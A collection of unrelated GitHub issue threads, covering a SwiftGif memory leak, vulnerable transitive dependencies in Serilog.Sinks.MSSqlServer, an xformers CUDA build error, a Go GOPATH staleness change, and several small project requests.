Add frames accordingly to the greatest common divisor to an array
Create an animated UIImage with the frames

So if the greatest common divisor is, say, one second, images that are displayed ten seconds would get added ten times. This may be the problem.

Yeah it sounds like it. I wonder if there's an optimisation by allowing flexibility in the greatest common divisor, i.e. if we've got frames of 9, 10, 20, 30, 40, we'd have to use GCD of 1, whereas the effect of using 10 would probably be minimal. It could be a toggle-able optimisation - a 10% deviation in the GCD value?

+1

Any news on this ?

Which Creates an image source that reads from a Core Foundation data object.
returns: An image source. You are responsible for releasing this object using CFRelease.
I don't see any calls to CFRelease in your code. This means that the memory used during each call is retained and never deallocated.

Even the view controller is deinit, the UIImage with gif is not released.

https://github.com/daemelchi/SwiftGif/commit/1d8f002ba8cc596f3262b25cc61ad33624896140

The fix proposed by @daemelchi should be pull requested. The defer fixed the leak I had in my app.

The fix proposed by @daemelchi seems to have resolved the leak. I also had to set the UIImage property to nil in viewDidDisappear.

@bahlo Could you please merge @daemelchi's fix and issue a new release?

Hey guys, sorry for the problems. @daemelchi can you please create a PR so we can resolve this?

Switching view controllers doesn't release the gif from memory which causes massive memory leaks especially for quite big gifs. I solved this by loading the UIImage in an appdelegate class but this is just a workaround.

When I switching view controller, Gif doesn't release memory. How can I deal with this issue?
How can I manage OR solve this issue?
When I try to load some other GIF with same viewcontroller on same imageview (On different button action), It's going to very horrible memory leak. It's going to 650MB.
Please Help.


Vulnerabilities

Serilog.Sinks.MSSqlServer
Library Vulnerabilities (1)
Severity: Medium
Top Fix: Upgrade to version microsoft.data.sqlclient 5.2.1

Which vulnerability do you mean exactly? SqlClient 5.1.5 is not marked as vulnerable on NuGet.
(I know that a dependency of SqlClient is marked as vulnerable, but this is also true for the currently latest version 5.2.1.)

Piggybacking on this issue to report two new vulnerabilities reported by VS today:
Azure.Identity 1.1.3 and Microsoft.Identity.Client 4.60.3 are showing up as vulnerable dependencies of Microsoft.Data.SqlClient 5.2.1, which is a dependency of version 6.6.1 of this package.

@cremor Thank you very much for reporting this. For better administration of this topic, I created a separate issue.

Thank you for reporting this. I made a scan today using dotnet list package --vulnerable --include-transitive and found vulnerability reported by @MaddMugsy and other vulnerabilies. One even with high severity.
Project `Serilog.Sinks.MSSqlServer` has the following vulnerable packages
   [net462]:
   Transitive Package               Resolved   Severity   Advisory URL
   > Azure.Identity                 1.10.3     Moderate   https://github.com/advisories/GHSA-wvxc-855f-jvrv
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9
   > Microsoft.Identity.Client      4.56.0     Low        https://github.com/advisories/GHSA-x674-v45j-fwxw
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9

   [net472]:
   Transitive Package               Resolved   Severity   Advisory URL
   > Azure.Identity                 1.10.3     Moderate   https://github.com/advisories/GHSA-wvxc-855f-jvrv
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9
   > Microsoft.Identity.Client      4.56.0     Low        https://github.com/advisories/GHSA-x674-v45j-fwxw
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9

   [netstandard2.0]:
   Transitive Package               Resolved   Severity   Advisory URL
   > Azure.Identity                 1.10.3     Moderate   https://github.com/advisories/GHSA-wvxc-855f-jvrv
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9
   > Microsoft.Identity.Client      4.56.0     Low        https://github.com/advisories/GHSA-x674-v45j-fwxw
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9

   [net6.0]:
   Transitive Package               Resolved   Severity   Advisory URL
   > Azure.Identity                 1.10.3     Moderate   https://github.com/advisories/GHSA-wvxc-855f-jvrv
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9
   > Microsoft.Identity.Client      4.56.0     Low        https://github.com/advisories/GHSA-x674-v45j-fwxw
                                               Moderate   https://github.com/advisories/GHSA-m5vv-6r4h-3vj9
   > System.Formats.Asn1            5.0.0      High       https://github.com/advisories/GHSA-447r-wph3-92pm

After updating Microsoft.Data.SqlClient from 5.1.5 to the latest version 5.2.1, it came down to only the one vulnerability which was reported by @MaddMugsy: https://github.com/advisories/GHSA-m5vv-6r4h-3vj9.
It seems that the SqlClient have already merged a PR which fixes the remaining vulnerability (https://github.com/dotnet/SqlClient/pull/2577) on 23rd of June but they have not yet created a new 5.x release. So we will have to wait for that.
In the meantime, to increase the security posture of SQLServer sink, I will create a release with the SqlClient udated to 5.2.1 so we get rid of the high severity and other vulnerability and only https://github.com/advisories/GHSA-m5vv-6r4h-3vj9 is remaining. This we will fix as soon as SqlClient makes a new release.

only GHSA-m5vv-6r4h-3vj9 is remaining. This we will fix as soon as SqlClient makes a new release.

@ckadluba FYI, this will also be fixed in SqlClient version 5.1.6, see https://github.com/dotnet/SqlClient/pull/2649
SqlClient 5.1.x has LTS support, while 5.2x only has "current" support. See https://learn.microsoft.com/en-us/sql/connect/ado-net/sqlclient-driver-support-lifecycle
I don't know if that affects this package or how you want to handle this. But I thought that I should mention it since it is the reason that Microsoft.EntityFrameworkCore.SqlServer v8 stays on SqlClient 5.1.x.

Thanks for mentioning this. Then probably we should switch back to a 5.1 version as soon as there is a fix.

@ckadluba FYI: https://github.com/dotnet/SqlClient/issues/2568#issuecomment-2313733614

@cremor Thank you for the heads up. I'll create a sink version 6.7.1 with SqlClient 5.1.6 soon. This should also fix #552.

Added NuGet audit and fixed different vulnerabilities by updating any affected dependencies. We created a dev release with the changed.
https://www.nuget.org/packages/Serilog.Sinks.MSSqlServer/6.7.1-dev-00084
Please try it out and give us some feedback. Thank you! :)

I'm not so sure that directly referencing indirect dependencies is a good idea, even if the indirect dependency has a security vulnerability. This leads to a situation where it looks like this package has more direct dependencies than it really has. And to more maintenance work.
Concrete example:
You added System.Private.Uri v4.3.2 as a direct dependency. I don't know why, because now my solution additionally requires this package. The only reference to it is from Serilog.Sinks.MSSqlServer:
> dotnet nuget why . System.Private.Uri
Project 'WebApi' has the following dependency graph(s) for 'System.Private.Uri':

  [net8.0]
   │
   └─ Serilog.Sinks.MSSqlServer (v6.7.1-dev-00084)
      └─ System.Private.Uri (v4.3.2)

Hypothetical example for future maintenance work:
Microsoft.Data.SqlClient is (finally) starting the work on removing the Azure.Identity dependency from their package, see https://github.com/dotnet/SqlClient/issues/1108
Assume you'd also had added Azure.Identity as a direct dependeny to Serilog.Sinks.MSSqlServer because of a security vulnerability. When SqlClient then releases a new version that doesn't have the Azure dependency any more, Serilog.Sinks.MSSqlServer would still add it as a dependency, even though it isn't needed.
Ideally, the direct dependency should update their dependency and then just the direct dependency should be updated here. But of course that requries work from other teams.
End users can alway update indirect dependencies themselves, e.g with transitive pinning in central package management.

@cremor I see your point and agree to some degree. Pulling a transient dependency into the sink project to fix a vulnerability isn't quite elegant. Especially since it could easily be forgotten to be removed again once the package where it is referenced originally gets updated and we no longer need the reference.
But on the other hand, fixing a high severity vulnerability fast is seems important than having less maintenance work in the future or unused dependencies. If we leave the vulnerability open, people will start creating issues and complain about the vulnerability (which I can understand because they usually do not care if it is caused by the a dependency of the sink or a transitive dependency of it).
By the way, the example with Azure.Identity in SqlClient is a very interesting pick when it comes to the MSSQL sink because the sink can also be used for logging to Azure SQL. This means, if they restructure SqlClient and remove Azure.Identity from the their core package, we still need to add the SqlClient.Azure (or whatever it will be called) package because otherwise things like managed identity authentication will not work anymore with the sink.

But on the other hand, fixing a high severity vulnerability fast is seems important than having less maintenance work in the future or unused dependencies.

Ok, that's fine for me. I just wanted to mention it.

This means, if they restructure SqlClient and remove Azure.Identity from the their core package, we still need to add the SqlClient.Azure (or whatever it will be called) package because otherwise things like managed identity authentication will not work anymore with the sink.

Do you actually need classes from Azure.Identity at compile time? If not, I think you should not reference it in the future. I think you should then take the same approach that Microsoft.Data.SqlClient seems to follow now, which is to throw at runtime if Microsoft.Data.SqlClient.Azure.Authentication (or however it will be called) is not available. Otherwise you'll do the same that Microsoft.Data.SqlClient does now, which is forcing a Azure dependency (with possible security vulnerabilities) to all of your users, even if they don't use Azure.
Finally, could you please explain why you now need to reference System.Private.Uri? This dependency wasn't installed in my project with Serilog.Sinks.MSSqlServer 6.6.1 or 6.7.0, so it is new in 6.7.1. How could there have been a security vulnerability for it, if it wasn't even used before? Maybe it is only referenced in some target frameworks, but not in .NET 8?

Finally, could you please explain why you now need to reference System.Private.Uri? This dependency wasn't installed in my project with Serilog.Sinks.MSSqlServer 6.6.1 or 6.7.0, so it is new in 6.7.1. How could there have been a security vulnerability for it, if it wasn't even used before? Maybe it is only referenced in some target frameworks, but not in .NET 8?

This was the warning I got mentioning System.Private.Uri.

In the NuGet UI it did not appear as a transitive, so I suppose your assumption is correct and it is referenced by the frameworks.

Possibly the advisory can help us to locate the source of that dependency. https://github.com/advisories/GHSA-5f2m-466j-3848

Yes, it seems to be only an SDK issue. https://github.com/dotnet/announcements/issues/113
I'll update it on my machine. It that removes the warning, we can remove the System.Private.Uri dependency again in the next release.

I get the same behavior on a different machine with latest VS 2022 Preview (17.12.0 Preview 1) and .NET SDK 9.0.100-preview.7.24407.12. When I remove the reference to System.Private.Uri from the sink project, the warnings about the two vulnerabilities occur.
I will leave the reference in and we will watch how this behaves with the next SDK updates.

Yeah, this looks like a false positive. Here is a similar issue where it's mentioned that this will not be fixed in .NET 9 😞
https://github.com/unoplatform/uno/issues/18019
It looks like all reports of this issue are closed as duplicates of https://github.com/NuGet/Home/issues/7344

Thanks for the research. If this affects lots of users giving a false postive about a high severity vulnerability, I hope there will be fix anytime soon.


⚠ Bofrost.lu has degraded performance

In 0e2ba19, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 2588 ms

Resolved: Bofrost.lu performance has improved in 1ed8e1c after 10 minutes.


Add support for VR Performance Toolkit v0.3

Thanks for the hint! https://github.com/tappi287/openvr_fsr_app/releases/tag/0.9.7

could you also update the default config?
https://github.com/fholger/vrperfkit/commit/ff73f208557e402fab2de25a0db373915d8e8a2c


cmd/go: remove cross-GOPATH rebuild barrier

The code at the bottom of isStale that bypasses the source file mtime checks was added to fix a bug (issue #3149) about writing to a system GOROOT, but the fix also (intentionally) separated out different GOPATH entries. This causes problems when people use fine-grained GOPATHs (not the common case, but also not something that should be broken), because installing a binary or package in one GOPATH uses stale packages from the other.
The system GOROOT has been the subject of many follow-on bugs and is now handled separately. We should remove the GOPATH barrier.

Thank you! This sounds incredibly good.
I will finally be able to go install my packages. I couldn't do that before of non-zero possibility of stale installed packages being used for compilation instead of the latest source code. This is also going to be immensely helpful for automated Go code generation and execution (e.g., see https://github.com/jimmyfrasche/goutil/issues/2).

This is a great decision!! It will eliminate the barriers for a lot of third-party tools.


[Suggestion] Automated security fix releases

Is your feature request related to a problem? Please describe.
The releases of thorium are unfortunately lagging behind the backported security fixes into the extended stable channel. I understand the headache involved with keeping up with these, but I'm hoping there's a way to come up with a solution here.
Describe the solution you'd like, including relevant patches or source
Currently, I am doing this myself locally by modifying version.sh and generating rpms for myself, but this only helps me and not all users.
Additional Notes
As an example, this vivaldi release pulls in a security fix that thorium doesn't have yet https://vivaldi.com/blog/desktop/minor-update-three-6-2/

@Alex313031 question related to this, do you already have some sort of CI/CD for the deb packaging for that repo? Or are you manually uploading debs.

Currently no automated compilation is used, which would make the entire compilation process more uncontrollable and lengthy
@qoijjj


xformers running error: NotImplementedError: No operator found for memory_efficient_attention_forward with inputs

I am sorry to bother you, but I am getting the following error when I try to train the video generation model after successfully installing xformers from the repo. I followed the installation instructions of A series strictly. Thus I can run the program successfully with xformers disabled.
NotImplementedError: No operator found for memory_efficient_attention_forward with inputs:
query       : shape=(1, 2, 1, 40) (torch.float32)
key         : shape=(1, 2, 1, 40) (torch.float32)
value       : shape=(1, 2, 1, 40) (torch.float32)
attn_bias   : <class 'NoneType'>
p           : 0.0
flshattF is not supported because:
xFormers wasn't build with CUDA support
dtype=torch.float32 (supported: {torch.float16, torch.bfloat16})
Operator wasn't built - see python -m xformers.info for more info
tritonflashattF is not supported because:
xFormers wasn't build with CUDA support
dtype=torch.float32 (supported: {torch.float16, torch.bfloat16})
Operator wasn't built - see python -m xformers.info for more info
triton is not available
cutlassF is not supported because:
xFormers wasn't build with CUDA support
smallkF is not supported because:
xFormers wasn't build with CUDA support
max(query.shape[-1] != value.shape[-1]) > 32
unsupported embed per head: 40
Thank you for your consistently helpful responses.

I have solved the issue. The problem occurred because I didn't set the correct CUDA_HOME and other environment variables before installing xformers.

I have solved the issue. The problem occurred because I didn't set the correct CUDA_HOME and other environment variables before installing xformers.

I also encountered the same problem as you, which environment variables did you change


AWQ-Bert / 4-bit Bert

Hoping to add a implementation of 4bit Bert, potentially in https://github.com/casper-hansen/AutoAWQ/pull/328. Contributions welcome

Hi @michaelfeil, any chance you will look more closely into quantizing BERT models with AWQ? Your PR was off to a great start, but needs more experimentation to figure out how to scale a BERT model.

@casper-hansen open for collaboration, but no further progress unfortunately.


VLLM contribution

Thanks for this great repo. I would like to run EAGLE with VLLM.
I would like to contribute to the VLLM implementation. If you are
already working on a branch I would like to help. If not, if you
can point me what changes need to be made. That would be most
helpful.

Very welcome! The draft model of EAGLE is essentially a Decoder layer of LLaMA, so two models should be created using the backend of vLLM, and the base model should be modified to output hidden states. The hidden states and input_ids should be concatenated, and then input into the draft model after dimension reduction. The most important thing to note is to modify the block table of PagedAttention to truncate rejected tokens.

Thanks for the information. I will let you know how it goes.


Pin colorbrewer to 1.3.0.

Version 1.5.1 has changed how it is bundled, which no longer works with out current examples.  Until that is refactored, pin to the last known working version.

The npm package added typescript support in 1.4.0 then changed to packaging with rollup in 1.5.0.  There is no functional difference, but it doesn't resolve in our examples now.

Sounds great,thanks.


Fix plus in .flowconfig md

With + there is a error Command failed with exit code 8.

The + is intentional, as it's a diff code block to show you the changes necessary.